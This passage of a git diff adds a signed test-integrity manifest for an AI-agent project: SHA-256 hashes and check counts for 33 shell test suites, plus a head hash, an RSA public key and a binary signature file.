"phase-c6-sandbox-tests.sh": { + "sha256": "b1ae109f2449ddc59547551d1c0e457ce767d55451854b3d40ca2d9ca4e851b7", + "checks": 4 + }, + "phase-c7-incident-tests.sh": { + "sha256": "87f83d660bbc5ee541fd299472d991694e44013a1248ee5ebb802b5009b99327", + "checks": 16 + }, + "phase-control-plane-tests.sh": { + "sha256": "50c1c1b20ea43858d5f6a65b5fa0b7c09c13e3ae8b2348ca983bc15733b10130", + "checks": 9 + }, + "phase-governance-report-tests.sh": { + "sha256": "a0720d70fae876a346037bce6762576bfba0b65c0148593d860550befa7a0182", + "checks": 5 + }, + "phase-h4-multilingual-tests.sh": { + "sha256": "e99ca2b85c5d70987ff0cae162bb370a612574093f164567c92bf3075e965a7f", + "checks": 3 + }, + "phase-h4-split-inject-tests.sh": { + "sha256": "60bca85653e6568146056d4c50c71f51d85b025c30fcb75de8ac8b4f9f655d1c", + "checks": 9 + }, + "phase-h5-approval-tests.sh": { + "sha256": "091761e2c99821fec0a11b0099697fe24e3d30a3f6491930acbf10d02cacf7d3", + "checks": 13 + }, + "phase-h5-infra-tests.sh": { + "sha256": "4117c7a21af5be28c1f833efff239ee441cadfdbbec65427fa39d4349a94cdd2", + "checks": 8 + }, + "phase-h6-agentops-tests.sh": { + "sha256": "1b3e347fed4403a227eebb51a888c5b19653fe448e0b3a6e6094d4efccc510d1", + "checks": 21 + }, + "phase-preflight-tests.sh": { + "sha256": "b184211b1fe55d71ce4f0d371d26f5245f721a6bc4a51e3f61301b3126821eea", + "checks": 5 + }, + "phase-prod-infra-lab-tests.sh": { + "sha256": "a6bff248f0c495ebee56e2ba07de270d22503f357434b6cb948430f08cf996a8", + "checks": 2 + }, + "phase-rai-tests.sh": { + "sha256": "bad387ad26ae3088c016f51ff5d6e1c234c9b94fbdb8fa9f736b6bebedd81cd8", + "checks": 12 + }, + "phase-rbac-tests.sh": { + "sha256": "e7a2eb9110539f21eddf77f7fb9df0e616967d0dc870063d11a078e8920a3226", + "checks": 12 + }, + "phase-sec01-tests.sh": { + "sha256": "293b944f71298d38d7e89bea9d4906e40ffbe81f9d822c2ca320bb5a2ba21d92", + "checks": 10 + }, + "phase-sec02-tests.sh": { + "sha256": "4f76e12bcaf96f2d001436af10ddd21d5b858456660d01df8dfbeef3f3de53af", + "checks": 3 + }, + "phase-sec03-tests.sh": { + "sha256": "ea4d00e4dc35e5717dbdedc7fc84b87ec30f2f0c99c0898a113d63582e7ed982", + "checks": 3 + }, + "phase-sec04-tests.sh": { + "sha256": "c451b61e4efa8aba9394a548f8b248285f9f78c9e466d29045e1320877f28ef1", + "checks": 4 + }, + "phase-sec05-tests.sh": { + "sha256": "0800e34c4da323a0937b8594cdee256062575166723e413be9c334ce70290823", + "checks": 4 + }, + "phase-sec06-tests.sh": { + "sha256": "71e04cba738f501e79dd6b2c02aa86c7434c5ce541af5c7e512a2c94219f1c33", + "checks": 5 + }, + "phase-sec16-tests.sh": { + "sha256": "3d826ca4f5c8f98837cc70846b8e2f2f83d5a598c2a5907795e8b9cc9db448c2", + "checks": 6 + }, + "phase-sec17-tests.sh": { + "sha256": "d68b93ebc0d16ee2369a5525fe206a9133c95ef0f931f9bfa799d21b571dbf4c", + "checks": 6 + }, + "phase-selfimprove-tests.sh": { + "sha256": "e91db1af16e30b18def130553f27f05691ff5540eca0593ca5e07f624c0ef938", + "checks": 7 + }, + "phase08-compression-tests.sh": { + "sha256": "3efdb7b13b77579e6d7750add608be0ce894ecc2e816d2d507de8070e794aae7", + "checks": 9 + }, + "phase1-track-a-tests.sh": { + "sha256": "3cf50c42335b23571f75dfae0ac1ba5c0332747a35d99f39a1dddfbd9de8e787", + "checks": 22 + }, + "phase10-traceability-tests.sh": { + "sha256": "eac99b364172a43dee908ae77e3fe3a613d74aad2b70eb95d51ae5df776a1350", + "checks": 6 + }, + "phase2-sourcegen-tests.sh": { + "sha256": "1af646519088faff5ef7971191a30aaa05e3fa8d12fb35bb5483ac11385c2e2e", + "checks": 3 + }, + "phase2-track-c-tests.sh": { + "sha256": "6e57b358f4cc03c3ad393cf320c5a323f993a57647c4ab641266d6cdb3ec1120", + "checks": 30 + }, + "phase3-evidence-pack-tests.sh": { + "sha256": "9aa0f2a2c57a278ed3edb7170f1825cfc2f5c99ce179fd260a28368b446f5481", + "checks": 8 + }, + "phase3-judge-gate-tests.sh": { + "sha256": "3fc0bbbb9fa52bdcc7a0c98746cfe69db93329a09e1f78fa615e57b50a8ebaea", + "checks": 0 + }, + "phase3-model-router-tests.sh": { + "sha256": "f027104f2f115493bfff982218bd316b1cd7734a66a92f50e4d231c8df803aa5", + "checks": 11 + }, + "phase3-redteam-metrics.sh": { + "sha256": "fc8b411cd07cd15b04c836255dfaa50d23d9a11672673fe0caa6e5a55ab11c20", + "checks": 0 + }, + "run-casan4-harness-tests.sh": { + "sha256": "ac572791bdd4d195818932c4cbeb0cf9409f4c63492317334ac06bb2f7bc639a", + "checks": 10 + } + }, + "total_checks": 307, + "suite_count": 33 +} diff --git a/AINative_OKR_CASAN5/.specify/tests/test-integrity-manifest.json.head b/AINative_OKR_CASAN5/.specify/tests/test-integrity-manifest.json.head new file mode 100644 index 0000000..4a9635d --- /dev/null +++ b/AINative_OKR_CASAN5/.specify/tests/test-integrity-manifest.json.head @@ -0,0 +1 @@ +06273ff0acaaaabfa2b5ca8d6f06d722e1423d995bcd8ba772251c1282f4dd41 \ No newline at end of file diff --git a/AINative_OKR_CASAN5/.specify/tests/test-integrity-manifest.json.pub b/AINative_OKR_CASAN5/.specify/tests/test-integrity-manifest.json.pub new file mode 100644 index 0000000..38ef4e0 --- /dev/null +++ b/AINative_OKR_CASAN5/.specify/tests/test-integrity-manifest.json.pub @@ -0,0 +1,9 @@ +-----BEGIN PUBLIC KEY----- +MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA30OELMJb2Ee2BXI7GlNb +pPyX7CVoJhS4FhFzBAWsTmaVISnyTxte1938JwupAPJUoVE2kQTy3lwgPTFrzrlT +ZP6SdmaRnT0yL4gN/eXQE7Kq5998Qcaf7VxFE96l9s3bBmonwu/FrgL/Ph05kMOK +1yxBOnXlMWqQYyvbyi4BkIgB/fe/HQ04jotNjpPjkTyagPtzm9aZB+e2lThAJt11 +IRIQfbfyUt5k4aKMHKfUWWrnoFZDj1kXMXSY5HdKRvt03Z8HGo/Kr54XNlYWj8LO +PPNKpWrb65JFRgF7TF6IPoInfHGAomTC9fHIxsYyanFe7IHGrCwx8GGAvTT1XgH9 +WwIDAQAB +-----END PUBLIC KEY----- diff --git a/AINative_OKR_CASAN5/.specify/tests/test-integrity-manifest.json.sig b/AINative_OKR_CASAN5/.specify/tests/test-integrity-manifest.json.sig new file mode 100644 index 0000000..629ce5d Binary files /dev/null and b/AINative_OKR_CASAN5/.specify/tests/test-integrity-manifest.json.sig differ